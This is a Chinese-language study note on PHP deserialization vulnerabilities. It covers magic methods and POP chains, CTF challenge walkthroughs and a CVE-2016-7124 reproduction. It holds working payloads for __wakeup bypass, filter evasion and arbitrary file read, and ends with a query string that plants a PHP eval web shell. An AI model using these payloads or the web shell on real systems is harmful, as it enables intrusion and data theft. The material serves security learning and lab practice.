PHP反序列化学习笔记
一、序列化与反序列化函数
(反)序列化给我们传递对象提供了一种简单的方法。
- serialize()将一个对象转换成一个字符串
- unspecialize()将字符串还原为一个对象
序列化一般都是在,如果一个对象你想让其保存或者传到另一个电脑,或者想要存放到数据库中,那么就要对其进行序列化。
反序列化本质是没有危害的,但是如果用户可控数据反序列化那么就会存在危害的。总之一切用户输入都是有害的
serialize.php
<?php
class test{
public $name = 'Jack';
public $age = '16';
public $num_of_var = 2;
}
$obj = new test();
echo serialize($obj)
?>
O:4:"test":3:{s:4:"name";s:4:"Jack";s:3:"age";s:2:"16";s:10:"num_of_var";i:2;}
O:对象类型、A:数组类型
4:对象名称长度(test)
3:对象中变量个数(name、age、num_of_var)
s:string、i:int
4:变量长度
name:value("name":"Jack")
unserialize.php
<?php
class test{
public $name = 'Jack';
public $age = '16';
public $num_of_var = 2;
}
$obj = new test();
$ser = serialize($obj);
$un_ser = unserialize($ser);
print_r($un_ser);
?>
test Object ( [name] => Jack [age] => 16 [num_of_var] => 2 )
二、魔术方法
PHP 将所有以__(两个下划线)开头的类方法保留为魔术方法。
常用的魔术方法:
PHP5 允行开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用 此方法,所以非常适合在使用对象之前做一些初始化工作。
析构函数会在到某个对象 的所有引用都被删除或 者当对象被显式销毁时执行 。
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用该方法,预先准备对象需要的资源。但是又当序列化字符串中表示属性的个数如果大于真实属性的个数时,则会跳过__wakeup() 方法
- __toString()
在将一个对象转化成字符串时自动调用
<?php
class test{
public function __wakeup(){
echo "执行unserialize前,会先执行wakeup方法";
echo "<br>";
}
public function __sleep(){
echo "执行serialize前,会先执行sleep方法";
echo "<br>";
}
public function __construct(){
echo "在创建新对象前,会自动调用construct方法";
echo "<br>";
}
public function __destruct(){
echo "在销毁对象时,会自动调用destruct方法";
echo "<br>";
}
}
$obj = new test();
$str = 'O:4:"test":3:{s:4:"name";s:4:"Jack";s:3:"age";s:2:"16";s:10:"num_of_var";i:2;}"';
$un_ser = unserialize($str);
print_r($un_ser);
echo "<br>";
$ser = serialize($un_ser);
?>
代码执行结果如下:
三、PHP反序列化与POP链
1. 什么是POP链
POP面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的调用找到漏洞点
面向对象编程从一定程度上来说,就是完成类与类之间的调用。就像ROP一样,POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”。在PHP中,“组件”就是这些魔术方法(__wakeup()或__destruct )。
简而言之上述叙述就是,POP链是在我们反序列化过程中如果有__wakeup方法,则会先调用其方法,再进行反序列化,而在wakeup方法中,又会调用一些代码或者指令,从而一次次递归调用,那么最后就可以溯源到起点,所形成的的一条调用链
2. 一些常用的POP链方法
命令执行:
exec()
system()
passthru()
popen()
文件操作:
file_put_contents()
file_get_contents()
unlink()
反序列化中为了避免信息丢失,使用大写S支持字符串的编码。PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:
s:4:"user"; -> S:4:"use\72";
3、深浅copy:在 php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。 4、配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。
3. POP链demo
<?php
class demo
{
private $data = "demon";
private $filename = './demo';
public function __wakeup()
{
$this->save($this->filename);
}
public function save($filename)
{
file_put_contents($filename, $this->data);
}
}
$obj = new demo();
$ser = serialize($obj);
echo $ser;
echo "<br>";
$un_ser = unserialize($ser);
代码运行结果如下:
4.POP链实例
<?php
class MyDirectory {
public $name;
public function __construct($name) {
$this->name = $name;
}
public function __toString(){
$num = count(scandir($this->name));
if($num > 0){
return "count $num files";
} else {
return "flag path is /flag_{{uuid}}";
}
}
}
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
if(stristr($input, 'user')!==False){
die('Hacker');
} else {
unserialize($input);
}
}else {
highlight_file(__FILE__);
}
参考自:https://www.jianshu.com/p/16c56bebc63d
题目分析:
stristr() 函数搜索字符串在另一字符串中的第一次出现。不区分大小写,如果没有找到返回FALSE
一、首先题目对我们的输入user进行过滤,我们可以使用S字符串+16进制编码绕过,以便我们执行unserialize函数
二、在MyFile类里面存在wakeup方法,因为PHP版本大于7.0.10所以我们不能用以往的方法来绕过,需要用到上面提到过的浅copy的方法,即用&(相当于C++里面的引用)使变量A的值指向变量B,那么在B的值改变的时候,A也会跟着改变,这样就可以绕过wakeup方法强制改变A的值了
三、因为在调用wakeup方法中的stristr函数时,会把本类里面的name属性转换为字符串来搜索,所以会调用toString方法,因为其方法是直接return的,所以无回显,导致无法直接获取文件名。所以要配合glob://协议来侧信道出flag的文件名字。
<?php
class MyFile {
public $name='/etc/hosts';
public $user='';
}
$a = new MyFile();
$a->name = &$a->user;
$b = serialize($a);
$b = str_replace("user","use\\72",$b);
$b = str_replace("s","S",$b);
var_dump($b);
POP链如下:
__construct $a = new MyFile()
__wakeup KaTeX parse error: Expected 'EOF', got '&' at position 11: a->name = &?a->user(name指向user,因为user可控)
__toString 在调用stristr函数会被调用,会执行文件读取函数
__destruct
上述POP链可以执行任意文件读取
四、攻防世界unserialize3
源码如下:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
分析如下:
一是我们看到源码里面有wakeup方法,那么在调用反序列化函数unserialize的时候就会先调用,从而导致直接退出程序。
二是题目最后一行告诉我们,是用code进行提交变量,意味着我们可以自己写函数进行,当做代码被执行。
三是当反序列化字符串中表示属性的个数大于真实属性个数的话,就不会执行wakeup方法
四是题目告诉我们变量flag的值,大概猜解是想让我们反序列化的字符串与flag变量相等即可得到flag
我们先序列化一下111为字符串
<?php
class xctf{
public $flag='111';
}
$obj = new xctf();
echo serialize($obj)
?>
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
我们首先将序列化结果直接传入参数中得到反序列化结果
?code=O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
从上面看出我们的猜想是正确的,所以我们接下来只需绕过wakeup方法,将对象变量个数的值大于真实变量个数的值即可将1改为2即可
?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
五、攻防世界Web_php_unserialize
源码如下:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
分析如下:
一是看到wakeup方法,如果我们调用unserialize函数前,它会先执行,判断我们的文件是不是index,php,如果不是就更改为index.php,但注释又告诉我们秘密在fl4g.php中。
二是题目接收我们变量的参数是var,首先它会进行base64解码,然后进行正则匹配:'/[oc]:\d+:/i'
[oc]: 表示匹配o:或者c:开头的字符
\d+:/i 表示匹配多个数字(0-9),而且不区分大小写
所以上面的正则表达式其实就是用来匹配o:数字或者c:的,所以我们只需绕过数字就行
我们可以尝试加号绕过,加号会终止序列化操作
<?php
var_dump(unserialize('O:+4:"test":1:{s:1:"a";s:3:"aaa";}'));
var_dump(unserialize('O:4:"test":1:{s:1:"a";s:3:"aaa";}'));
?>
参考https://www.phpbug.cn/archives/32.html
所以现在我们的逻辑是这样的,首先通过加号来绕过正则表达式,然后通过修改序列化字符串的变量个数来绕过wakeup方法
这里有一个需要注意的地方
对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上’*’。这些前缀值在任一侧都有空字节
参考https://www.anquanke.com/post/id/86452
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
$obj = new Demo('fl4g.php');
$usr = serialize($obj);
$usr = str_replace('O:4', 'O:+4', $usr);
$usr = str_replace(':1:', ':2:', $usr);
$str = base64_encode($usr);
print($str);
?>
payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
六、CVE-2016-7124 PHP反序列化漏洞复现
0x00漏洞描述
ext/standard/var_unserializer.c in PHP before 5.6.25 and 7.x before 7.0.10 mishandles certain invalid objects, which allows remote attackers to cause a denial of service or possibly have unspecified other impact via crafted serialized data that leads to a (1) __destruct call or (2) magic method call.
PHP5.6.25之前版本和7.0.10之前的7.x版本中的ext/standard/var_unserializer.c文件存在安全漏洞,该漏洞源于程序没有正确处理无效的对象。远程攻击者可借助特制的序列化数据利用该漏洞造成拒绝服务。
0x01影响版本
5 < PHP < 5.6.25
7 < PHP < 7.0.10
0x02漏洞复现
环境为Win10、PHPStudy
编写测试脚本如下:
test.php
<?php
class test{
public $name = "fairy";
public function __wakeup(){
echo "this is __wakeup<br>";
}
public function __destruct(){
echo "this is __destruct<br>";
}
}
$str = $_GET["s"];
@$un_str = unserialize($str);
echo $un_str->name."<br>";
?>
代码分析:
首先test类里面有一个wakeup方法,所以在我们调用unserialize函数进行反序列化的时候,会先调用这个方法。
此脚本还会以GET方式接收变量s的值,传给变量str,然后会执行反序列化函数,最后会输出反序列化以后的类里面的变量name的值。
?s=O:4:“test”:1:{s:4:“name”;s:5:“fairy”;}
页面执行结果如下
首先执行了wakeup函数,然后输出反序列化以后对象的name属性,代码执行完以后,自动执行destruct方法。
如果我们想要绕过wakeup函数,只需更改序列化字符串中表达变量个数大于真实变量个数即可
?s=O:4:“test”:2:{s:4:“name”;s:5:“fairy”;}
可以发现只调用了destruct方法,因为为了绕过wakeup方法,我们传入了错误的变量个数会导致反序列化创建对象失败
我们更改代码为:
<?php
class test{
public $name = "fairy";
public function __wakeup(){
echo "this is __wakeup<br>";
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
public function __destruct(){
echo "this is __destruct<br>";
$fp = fopen("D:\\phpStudy\\PHPTutorial\\WWW\\shell.php","w");
fputs($fp,$this->name);
fclose($fp);
}
}
$str = $_GET["s"];
@$un_str = unserialize($str);
echo $un_str->name."<br>";
?>
我们同样传入一样的参数
?s=O:4:“test”:1:{s:4:“name”;s:5:“fairy”;}
发现页面并没有回显fairy,同时文件里面也是空的,这是因为在调用unserialize函数之前,会先调用wakeup方法,导致其类里面的对象都会被设置为NULL,所以没有显示fairy以及文件里面没有内容,所以我们只需要绕过wakeup方法,即可得到正确结果
?s=O:4:“test”:2:{s:4:“name”;s:5:“fairy”;}
回显仍然没有fairy的原因就是因为错误的参数导致,反序列化失败,但是文件里面有了内容,即证明我们的wakeup方法成功绕过
我们也可以传入一句话木马进去
?s=O:4:"test":2:{s:4:"name";s:27:"<?php @eval($_POST['a'];)?>";}
|